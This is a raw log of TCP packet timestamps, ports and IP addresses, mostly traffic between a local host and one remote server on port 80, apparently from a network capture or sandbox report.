Nov 28, 2024 06:48:30.166513920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.166565895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.166898012 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.166953087 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.166960001 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.168926954 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.168962002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.168972969 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.168978930 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.169023991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.169100046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.169193983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.171513081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.171561956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.171612024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.171860933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.174024105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.174108982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.174160957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.176486969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.176542044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.176570892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.176615953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.178987026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.179068089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.179231882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.179287910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.181334972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.181415081 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.181446075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.181493044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.183847904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.183902979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.183981895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.184097052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.186170101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.186225891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.186281919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.186373949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.188509941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.188570023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.188576937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.188621998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.190897942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.190958023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.191005945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.191057920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.192133904 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.192168951 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.192188978 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.192197084 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.192241907 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.192253113 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.193172932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.193262100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.193314075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.195432901 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.195496082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.195561886 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.195570946 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.195596933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.195616961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.195734978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.196368933 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.196526051 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.196537018 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.197789907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.197900057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.197954893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.198621988 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.198693991 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.199028969 CET	49762	443	192.168.2.5	142.250.181.65
Nov 28, 2024 06:48:30.199047089 CET	443	49762	142.250.181.65	192.168.2.5
Nov 28, 2024 06:48:30.200126886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.200206041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.200210094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.200248957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.202399969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.202506065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.202527046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.202550888 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.204734087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.204824924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.204838991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.204885006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.207041979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.207094908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.207151890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.207195997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.209301949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.209371090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.209402084 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.209446907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.211595058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.211646080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.211661100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.211877108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.213907957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.213970900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.213995934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.214036942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.216258049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.216325998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.216341019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.216504097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.218506098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.218641043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.218642950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.218687057 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.220837116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.220891953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.220906973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.220952988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.223115921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.223237991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.223289967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.225383997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.225466967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.225492001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.225536108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.227698088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.227802992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.227855921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.230010986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.230072021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.230144978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.230274916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.232287884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.232341051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.232395887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.232460976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.234602928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.234674931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.234743118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.234790087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.236924887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.236984015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.236994982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.237339020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.239264011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.239335060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.239353895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.241540909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.241589069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.241609097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.241657972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.243818998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.243875980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.243879080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.243913889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.246114969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.246186972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.246190071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.246234894 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.248454094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.248526096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.248579979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.250677109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.250758886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.250783920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.250827074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.252973080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.253021955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.253106117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.253330946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.255342007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.255361080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.255424023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.257587910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.257648945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.257678986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.257725000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.259888887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.259989023 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.260040998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.262183905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.262262106 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.338438988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.338514090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.338584900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.338630915 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.339236975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.339329004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.339368105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.339385986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.340519905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.340563059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.340621948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.340621948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.342422962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.342545986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.342559099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.342652082 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.343796968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.343883038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.343904972 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.343966961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.345381975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.345438957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.345474958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.345557928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.347049952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.347137928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.347223997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.347366095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.347815037 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:30.347878933 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:30.348067045 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:30.348577976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.348632097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.348687887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.348752975 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:30.348773003 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:30.348783016 CET	49772	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:30.348788023 CET	443	49772	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:30.348795891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.350167990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.350322008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.350348949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.350377083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.351695061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.351763964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.351855040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.351898909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.353276968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.353348970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.353384018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.353426933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.354743004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.354813099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.354881048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.354943991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.356216908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.356273890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.356282949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.356326103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.357753038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.357825041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.357841015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.357959986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.359229088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.359302044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.359409094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.359618902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.360668898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.360740900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.360810995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.360924006 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.360985041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.361542940 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.361561060 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.361996889 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.362185955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.362260103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.362292051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.362345934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.363147974 CET	49798	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.363284111 CET	443	49798	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:30.363580942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.363673925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.363728046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.365046978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.365103006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.365114927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.365159035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.366466045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.366528034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.366559029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.366664886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.367901087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.367964029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.367995024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.368036032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.369326115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.369376898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.369436979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.369510889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.370760918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.370872021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.370876074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.370949984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.372129917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.372200012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.372221947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.372267008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.373512030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.373591900 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.373610020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.373650074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.374878883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.374950886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.374982119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.375036955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.376272917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.376291990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.376338005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.377643108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.377706051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.377743006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.377839088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.378981113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.379035950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.379045963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.379074097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.380335093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.380388975 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.380455017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.380614996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.381710052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.381767988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.381798029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.381844997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.383038044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.383086920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.383209944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.383251905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.384351015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.384397984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.384543896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.384601116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.385674000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.385742903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.385756016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.385799885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.387016058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.387073994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.387201071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.387254000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.388302088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.388350964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.388358116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.388396025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.389631987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.389683008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.389722109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.389764071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.390960932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.391014099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:30.391037941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:30.391081095 CET	49750	80	192.168.2.5	185.215.113.206
